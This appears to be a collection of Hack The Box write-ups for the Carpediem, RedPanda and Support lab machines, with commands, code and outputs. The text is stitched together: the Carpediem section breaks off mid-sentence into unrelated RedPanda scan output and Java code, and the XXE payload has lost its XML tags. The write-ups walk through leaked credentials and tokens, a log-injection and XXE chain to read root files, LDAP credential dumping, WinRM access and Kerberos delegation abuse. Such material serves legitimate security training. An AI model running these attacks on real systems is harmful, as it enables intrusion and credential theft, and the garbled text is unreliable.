"email" : "jpardella@carpediem.htb",
"password" : "$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK",
"fullname" : "Joey Pardella",
"title" : "Desktop Support",
"role" : ObjectId("623c8b20855cc5001a8ba139"),
"accessToken" : "7c0335559073138d82b64ed7b6c3efae427ece85",
"__v" : 0,
"lastOnline" : ISODate("2022-04-07T20:33:20.918Z")
}
{
"_id" : ObjectId("6243c3471e0d4d001b0740d7"),
"preferences" : {
"tourCompleted" : false,
"autoRefreshTicketGrid" : true,
"openChatWindows" : [ ]
},
"hasL2Auth" : false,
"deleted" : false,
"username" : "acooke",
"email" : "acooke@carpediem.htb",
"password" : "$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s.",
"fullname" : "Adeanna Cooke",
"title" : "Director - Human Resources",
"role" : ObjectId("623c8b20855cc5001a8ba139"),
"accessToken" : "9c7ace307a78322f1c09d62aae3815528c3b7547",
"__v" : 0,
"lastOnline" : ISODate("2022-03-30T14:21:15.212Z")
}
{
"_id" : ObjectId("6243c69d1acd1559cdb4019b"),
"preferences" : {
"tourCompleted" : false,
"autoRefreshTicketGrid" : true,
"openChatWindows" : [ ]
},
"hasL2Auth" : false,
"deleted" : false,
"username" : "svc-portal-tickets",
"email" : "tickets@carpediem.htb",
"password" : "$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW",
"fullname" : "Portal Tickets",
"title" : "",
"role" : ObjectId("623c8b20855cc5001a8ba13a"),
"accessToken" : "f8691bd2d8d613ec89337b5cd5a98554f8fffcc4",
"__v" : 0,
"lastOnline" : ISODate("2022-03-30T13:50:02.824Z")
}
```
### Trudesk to Zoiper
We now have some additional `accessToken`s that might be able to read some tickets via the Trudesk API (before we just had `svc-portal-tickets`'s API key). I used `Robert Frost`'s key like so:
```
curl -H "Content-Type: application/json" \
-H "accesstoken: 22e56ec0b94db029b07365d520213ef6f5d3d2d9" \
-l http://trudesk.carpediem.htb/api/v1/tickets/search/\?search\=\{a\}
```
The output is available in [trudesk\_api\_ticket\_search.json](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/trudesk_api_ticket_search.json). We could have changed a user's password like we did in the [Talkative machine writeup](https://github.com/HHousen/hack-the-box/blob/master/Machines/Talkative/README.md), but that would require us to fiure out how passwords are hashed.
We find this conversation:
```
Red Panda Search | Made with Spring Boot
|
|
| \n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20H
SF:TTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1
SF:,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x
SF:20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px
SF:;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{heigh
SF:t:1px;background-color:#525D76;border:none;} images = rootElement.getChildren("image");
for(Element image: images)
System.out.println(image.getChildText("uri"));
model.addAttribute("noAuthor", false);
model.addAttribute("author", author);
model.addAttribute("totalviews", totalviews);
model.addAttribute("images", images);
return new ModelAndView("stats.html");
}
else
{
model.addAttribute("noAuthor", true);
return new ModelAndView("stats.html");
}
}
@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {
System.out.println("Exporting xml of: " + author);
if(author.equals("woodenk") || author.equals("damian"))
{
InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
System.out.println(in);
return IOUtils.toByteArray(in);
}
else
{
return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
}
}
@PostMapping("/search")
public ModelAndView search(@RequestParam("name") String name, Model model) {
if(name.isEmpty())
{
name = "Greg";
}
String query = filter(name);
ArrayList pandas = searchPanda(query);
System.out.println("\n\""+query+"\"\n");
model.addAttribute("query", query);
model.addAttribute("pandas", pandas);
model.addAttribute("n", pandas.size());
return new ModelAndView("search.html");
}
public String filter(String arg) {
String[] no_no_words = {"%", "_","$", "~", };
for (String word : no_no_words) {
if(arg.contains(word)){
return "Error occured: banned characters";
}
}
return arg;
}
public ArrayList searchPanda(String query) {
Connection conn = null;
PreparedStatement stmt = null;
ArrayList pandas = new ArrayList();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
stmt.setString(1, "%" + query + "%");
ResultSet rs = stmt.executeQuery();
while(rs.next()){
ArrayList panda = new ArrayList();
panda.add(rs.getString("name"));
panda.add(rs.getString("bio"));
panda.add(rs.getString("imgloc"));
panda.add(rs.getString("author"));
pandas.add(panda);
}
}catch(Exception e){ System.out.println(e);}
return pandas;
}
}
```
This file contains credentials: `woodenk:RedPandazRule`. We can use these credentials to connect over SSH by running `ssh woodenk@10.10.11.170` and entering the password. Now, just run `cat ~/user.txt` to get the `user.txt` flag.
## Privilege Escalation
We reconnect using [pwncat](https://github.com/calebstewart/pwncat) to make file uploads easier: `pwncat-cs woodenk@10.10.11.170`. We upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) by running `upload linpeas.sh` in the local shell. Run LinPEAS with `./linpeas.sh -a 2>&1 | tee linpeas_report.txt`. Download the report with `download linepeas_report.txt` in the local terminal. You can open [linpeas\_report.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/RedPanda/linpeas_report.txt) with `less -R linpeas_report.txt`.
LinPEAS says the box is vulnerable to `CVE-2021-3560`, but using [secnigma/CVE-2021-3560-Polkit-Privilege-Esclation](https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation) to try to exploit it doesn't work. LinPEAS also finds an interanally running MySQL database at `127.0.0.1:3306`. This is probably the database for the "Red Panda Search" website, so it is unlikely to have anything useful and we will only look at it if necessary.
We upload [pspy](https://github.com/DominicBreuker/pspy) to monitor processes as an non-privileged user and see this:
```
2022/08/01 04:05:01 CMD: UID=0 PID=66397 | sudo -u woodenk /opt/cleanup.sh
2022/08/01 04:05:01 CMD: UID=1000 PID=66400 |
2022/08/01 04:05:01 CMD: UID=1000 PID=66399 | /usr/bin/find /tmp -name *.xml -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66398 | /bin/bash /opt/cleanup.sh
2022/08/01 04:05:01 CMD: UID=1000 PID=66401 | /usr/bin/find /var/tmp -name *.xml -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66402 | /usr/bin/find /dev/shm -name *.xml -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66403 | /usr/bin/find /home/woodenk -name *.xml -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66406 | /usr/bin/find /tmp -name *.jpg -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66408 |
2022/08/01 04:05:01 CMD: UID=1000 PID=66409 | /usr/bin/find /dev/shm -name *.jpg -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66410 | /usr/bin/find /home/woodenk -name *.jpg -exec rm -rf {} ;
```
Let's view the cleanup script by running `cat /opt/cleanup.sh`:
```
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;
```
Looks like it removes JPG images and XML files from a variety of places, including `woodenk`'s home directory. This is strange. Why would these files would need to be deleted?
Pspy also shows a `LogParser` program that is ran frequently **as root**:
```
2022/08/01 17:18:01 CMD: UID=0 PID=2382 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
2022/08/01 17:18:01 CMD: UID=0 PID=2381 | /bin/sh /root/run_credits.sh
2022/08/01 17:18:01 CMD: UID=0 PID=2380 | /bin/sh -c /root/run_credits.sh
2022/08/01 17:18:01 CMD: UID=0 PID=2379 | /usr/sbin/CRON -f
```
Looking in `/opt` (directory above the "Red Panda Search" application), we find `/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java`:
```java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
```
Looks like `LogParser` reads the "Red Panda Search" log file located at `/opt/panda_search/redpanda.log` and will update the number of views each image and author has.
The `/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java` file shows how this log file is generated:
```java
package com.panda_search.htb.panda_search;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedWriter;
import java.io.FileWriter;
import javax.servlet.http.HttpServletRequest;
import org.apache.catalina.User;
import org.springframework.web.servlet.ModelAndView;
public class RequestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
return true;
}
@Override
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
String UserAgent = request.getHeader("User-Agent");
String remoteAddr = request.getRemoteAddr();
String requestUri = request.getRequestURI();
Integer responseCode = response.getStatus();
/*System.out.println("User agent: " + UserAgent);
System.out.println("IP: " + remoteAddr);
System.out.println("Uri: " + requestUri);
System.out.println("Response code: " + responseCode.toString());*/
System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
bw.close();
}
}
```
It simply logs all the requests to the application and splits each componenet with a double pipe (`||`). So `LogParser` will do the following:
1. Read the log file line by line
2. Check if the line pertains to an image
3. Read the "Artist" metadata field from the image specified by the request URI
4. Use that "Artist" field to load the XML file at `"/credits/" + artist + "_creds.xml"`
5. And then finally update the views for that image and the artist's total views in their XML file.
We can abuse this because we can control which XML file is read due to a bug in how the log is generated and how `parseLog` works. One line in the log file looks like this: `200||10.10.14.98||python-requests/2.25.1||/search`. Each component is joined with a `||`. The `LogParser` program then reads the file and determines the URI of the request by spliiting the line on `||`. We control our user agent, which is logged as the 3rd item in each row. If we add the symbol `||` to our user agent then anything after that symbol will be read as the URI, while the actual URI will be ignored. This is because the `parseLog` function always takes the 4th item in the line as the URI. So, with a modified user agent, a line in the log file could look like this: `200||10.10.14.98||python-requests/2.25.1||/our-custom-uri||/search`.
Going through `LogParser`'s `main` function, we now control `parsed_data.get("uri")`, which means we control the input to `getArtist`, so let's examine that function. This function read the JPEG "Artist" field from the metadata of the image at `"/opt/panda_search/src/main/resources/static" + uri`, but we control `uri` so we could redirect it to any image using relative paths with anything in the "Artist" field.
Now, we contol `artist` in the `LogParser`'s `main` function. Thus, we control `xmlPath` using relative paths since it is set to `"/credits/" + artist + "_creds.xml"`. The `addViewTo` function is called on our XML file and (as long as we have the correct format) the file has certain view counters incremented.
We can make the application parse and overwrite an XML file we specify, which means we can use a XML External Entity (XXE) attack, which "is a type of attack against an application that parses XML input according to [HackTricks](https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity). [This article](https://portswigger.net/web-security/xxe/xml-entities) gives a great introduction and [this article](https://portswigger.net/web-security/xxe) explains how the XXE injection works.
According to [PortSwigger](https://portswigger.net/web-security/xxe): "Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application. XML external entities are a type of custom XML entity whose defined values are loaded from outside of the DTD in which they are declared. External entities are particularly interesting from a security perspective because they allow an entity to be defined based on the contents of a file path or URL."
That aricle also provides this example payload to read `/etc/passwd`:
```xml
]>
&xxe;
/../../../../../../../tmp/random.jpg
&xxe;
0
0
```
Let's save this to `/tmp/exploit_creds.xml`. The name matters since part of it is hardcoded in `LogParser`'s `main` function.
We need a root element (`root`) and then an `image` element with the `uri` and `views` properties. We also need `totalviews` so the application can increment that. The `uri` needs to be set to the same path as our image due to the `el.getChild("uri").getText().equals(uri)` check in the `addViewTo` function.
Let's generate the image with the modified "Artist" metadata field. Generate a random JPEG with `mx=256;my=256;head -c "$((3*mx*my))" /dev/urandom | convert -depth 8 -size "${mx}x${my}" RGB:- random.jpg` (command from [this StackExchange answer](https://unix.stackexchange.com/a/289670)). Then, use `exiftool` to set the "Artist" field to the path to our XML file: `exiftool -Artist='../tmp/exploit' random.jpg`. We go back one directory to exit `/credits` and then only specify the first part of the name because `_creds.xml` is added in the code.
Now, upload the image using pwncat or using an HTTP server and place it in `/tmp`. Finally, execute `curl -H "User-Agent: a||/../../../../../../../tmp/random.jpg" http://10.10.11.170:8080/` to put our injected URI in the log file. Then, wait a few minutes for the auomated `LogParser` script to run. IT will see our request, load the `random.jpg` image from `/tmp`, read it's "Artist" metadata field, load the XML file at `/tmp/exploit_creds.xml`, and rewrite the XML file with the root flag thanks to our XXE injection.
Right after sending the request with the modified user agent, we look at `/opt/panda_search/redpanda.log` and see our modified line: `200||10.10.14.98||a||/../../../../../../../tmp/random.jpg||/`.
After a few seconds our `/tmp/exploit_creds.xml` file is replaced with this:
```xml
/../../../../../../../tmp/random.jpg
6e...75
1
1
```
We got the `root.txt` flag. We could now get `/root/.ssh/id_rsa` or abuse a different XXE injection to get a shell.
# Support
## Summary
We scan the machine using `nmap` and find that SMB and LDAP are running. We are able to list SMB shares and download all the files from the `support-tools` share without providing credentials. One of the files downloaded is a ZIP file containing a .Net executable called `UserInfo.exe`. We decompile the program with [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy) (which is a port of [ILSpy](https://github.com/icsharpcode/ILSpy) to Linux/MacOS) and find an encrypted password. The encryption is basic and the decryption logic is already present in the code, so the password is easy to decrypt. We continue looking at the code and find an LDAP connection is made through a user called `ldap` and the decrypted password.
Using [ldapsearch](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#manual-1), we dump the LDAP user data and find the password for the `support` user in its `info` field. We connect using [evil-winrm](https://github.com/Hackplayers/evil-winrm) and get the `user.txt` flag.
Now that we have a shell, we scan the machine using [SharpHound](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html) and [BloodHound](https://github.com/BloodHoundAD/BloodHound). We figure out that the `SHARED SUPPORT ACCOUNTS@SUPPORT.HTB` group has the `GenericAll` permission on `DC.SUPPORT.HTB` and our user, `support` is part of that group.
Searching for ways to exploit the `GenericAll` permission finds [Kerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution). Following the guide, we 1) create a fake computer object (no admin required) and 2) update the target computer object to enable the fake computer to impersonate and authenticate any domain user that can then access the target system. The second step is possible because we have the `WRITE` privilege (from `GenericAll`) on the target machine. Instead of following the guide to create the ticket (it uses a Window-only tool), we use [impacket](https://github.com/SecureAuthCorp/impacket)'s [getST.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py). This gives us a Kerberos ticket with the ability to impersonate the `Administrator` user. Finally, we use [wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py) with the ticket to get an interactive shell on the box as `Administrator` and get the `root.txt` flag.
## Enumeration
### Nmap
First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.227.255 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -Pn -p$ports -sC -sV 10.129.227.255`. We need to use `-Pn` with this box since it is blocking `nmap`'s ping probes.
```
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-01 22:42:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
55397/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-08-01T22:43:23
|_ start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
```
### SMB (Ports `139` & `445`)
Ports `139` and `445` are open so it looks like SMB is running.
We can try listing the shares (`-L`) without specifying a password (`-N`).
```
$ smbclient -N -L \\\\10.129.227.255\\
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.227.255 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```
`support-tools` is interesting. Let's try to view the files from that share using an interactive shell:
```
$ smbclient -N \\\\10.129.227.255\\support-tools
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 20 13:01:06 2022
.. D 0 Sat May 28 07:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 07:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 07:19:55 2022
putty.exe A 1273576 Sat May 28 07:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 07:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 13:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 07:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 07:19:43 2022
4026367 blocks of size 4096. 883139 blocks available
```
It's a directory of different programs. We can download all these files to the current directory by running the following commands from [this HackTricks page](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#download-files):
```
smb: \> mask ""
smb: \> recurse
smb: \> prompt
smb: \> mget *
getting file \7-ZipPortable_21.07.paf.exe of size 2880728 as 7-ZipPortable_21.07.paf.exe (3565.5 KiloBytes/sec) (average 3565.5 KiloBytes/sec)
getting file \npp.8.4.1.portable.x64.zip of size 5439245 as npp.8.4.1.portable.x64.zip (4408.1 KiloBytes/sec) (average 4074.7 KiloBytes/sec)
getting file \putty.exe of size 1273576 as putty.exe (2477.5 KiloBytes/sec) (average 3753.5 KiloBytes/sec)
getting file \SysinternalsSuite.zip of size 48102161 as SysinternalsSuite.zip (2816.2 KiloBytes/sec) (average 2938.2 KiloBytes/sec)
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (909.4 KiloBytes/sec) (average 2907.2 KiloBytes/sec)
getting file \windirstat1_1_2_setup.exe of size 79171 as windirstat1_1_2_setup.exe (613.6 KiloBytes/sec) (average 2892.4 KiloBytes/sec)
getting file \WiresharkPortable64_3.6.5.paf.exe of size 44398000 as WiresharkPortable64_3.6.5.paf.exe (2326.0 KiloBytes/sec) (average 2616.3 KiloBytes/sec)
```
Alternatively, you can download one file by running `get UserInfo.exe.zip`.
### Decompiling `UserInfo.exe`
Everything except [UserInfo.exe.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/UserInfo.exe.zip) looks like a normal program. When unzipping [UserInfo.exe.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/UserInfo.exe.zip) we see the following files:
```
-rw-r--r-- 1 kali kali 99840 Mar 1 13:18 CommandLineParser.dll
-rw-r--r-- 1 kali kali 22144 Oct 22 2021 Microsoft.Bcl.AsyncInterfaces.dll
-rw-r--r-- 1 kali kali 47216 Oct 22 2021 Microsoft.Extensions.DependencyInjection.Abstractions.dll
-rw-r--r-- 1 kali kali 84608 Oct 22 2021 Microsoft.Extensions.DependencyInjection.dll
-rw-r--r-- 1 kali kali 64112 Oct 22 2021 Microsoft.Extensions.Logging.Abstractions.dll
-rw-r--r-- 1 kali kali 20856 Feb 19 2020 System.Buffers.dll
-rw-r--r-- 1 kali kali 141184 Feb 19 2020 System.Memory.dll
-rw-r--r-- 1 kali kali 115856 May 15 2018 System.Numerics.Vectors.dll
-rw-r--r-- 1 kali kali 18024 Oct 22 2021 System.Runtime.CompilerServices.Unsafe.dll
-rw-r--r-- 1 kali kali 25984 Feb 19 2020 System.Threading.Tasks.Extensions.dll
-rwxr-xr-x 1 kali kali 12288 May 27 13:51 UserInfo.exe
-rw-r--r-- 1 kali kali 563 May 27 12:59 UserInfo.exe.config
```
Running `file UserInfo.exe` tells us that this is a `PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows`. I am familiar with reversing using [Ghidra](https://ghidra-sre.org/), but it is not the right tool to reverse .Net binaries. Searching for ".net debugger" finds [dnSpy](https://github.com/dnSpy/dnSpy), but the repository is archived and hasn't been updated for about 2 years. I also find [ILSpy](https://github.com/icsharpcode/ILSpy) which seems to be more regularly updated. [This article from ndepend](https://blog.ndepend.com/in-the-jungle-of-net-decompilers/) compares the available decompilers. I'm going to use ILSpy since the article calls it "the de-facto .NET Decompiler." ILSpy only supports Windows, but it has been ported to Linux in the form of [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy). Download the latest release from [the releases page](https://github.com/icsharpcode/AvaloniaILSpy/releases) and run it with `./ILSpy`.
We open the `UserInfo.exe` binary in ILSpy and quite quickly we find the `UserInfo.Services.Protected` class, which contains and encrypted password and a method to decrypt it already written for us:
`UserInfo.Services.Protected` class (in text form):
```c#
using System;
using System.Text;
internal class Protected
{
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array2);
}
}
```
Let's quickly write this in Python (since that is faster than getting C# code running):
```python
import base64
enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
ken_len = len(key)
password_list = base64.b64decode(enc_password)
password = [chr(pass_char ^ key[idx % ken_len] ^ 223) for idx, pass_char in enumerate(password_list)]
print("".join(password))
```
This prints out `nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz`.
Additionally, in ILSpy, we see a class called `UserInfo.Services.LdapQuery`.
After looking at it, we see that the constructor contains a username (`ldap`) and uses the decoded password to connect to LDAP on the machine.
```c#
public LdapQuery()
{
//IL_0018: Unknown result type (might be due to invalid IL or missing references)
//IL_0022: Expected O, but got Unknown
//IL_0035: Unknown result type (might be due to invalid IL or missing references)
//IL_003f: Expected O, but got Unknown
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
entry.set_AuthenticationType((AuthenticationTypes)1);
ds = new DirectorySearcher(entry);
}
```
### LDAP
From the `nmap` scan and the `UserInfo.exe`, we see that LDAP is present. LDAP runs on ports 389, 636, 3268, and 3269. According to [Wikipedia](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol), "The Lightweight Directory Access Protocol is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network."
According to [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#manual-1), we can make sure our credentials work by trying to extract everything from the LDAP server by running `ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC="`. Here are what the options in this command mean:
```
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
For our situation, this command is `ldapsearch -x -H ldap://10.129.227.255 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"`. This outputs 5824 lines of output. So, we captured it all into [ldap\_dump.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/ldap_dump.txt).
We can get only information about users by adding `CN=Users` to the command like so (command from [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#manual-1)): `ldapsearch -x -H ldap://10.129.227.255 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=support,DC=htb"`. Tip: Pipe the output of that command to `xclip -selection clipboard` to copy it to your clipboard automatically. Output is located at [ldap\_users.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/ldap_users.txt). After looking through this file, we see the `support` user has the `info` field set to `Ironside47pleasure40Watchful`, which is weird.
## Foothold
The piece of information we found is the `support` user's password. [WinRM](https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm) runs on port `5985`, which is open. We can connect using [evil-winrm](https://github.com/Hackplayers/evil-winrm) by running `evil-winrm -u support -p Ironside47pleasure40Watchful -i 10.129.227.255`, which works.
Now, just run `cat C:\Users\support\Desktop\user.txt` to get the `user.txt` flag.
## Privilege Escalation
Let's scan the machine using [BloodHound](https://github.com/BloodHoundAD/BloodHound): "BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify."
BloodHound only analyzes data though. We need to use [SharpHound](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html) ([download](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors)) to collect data. There are other data collectors but SharpHound is the only officially support collector.
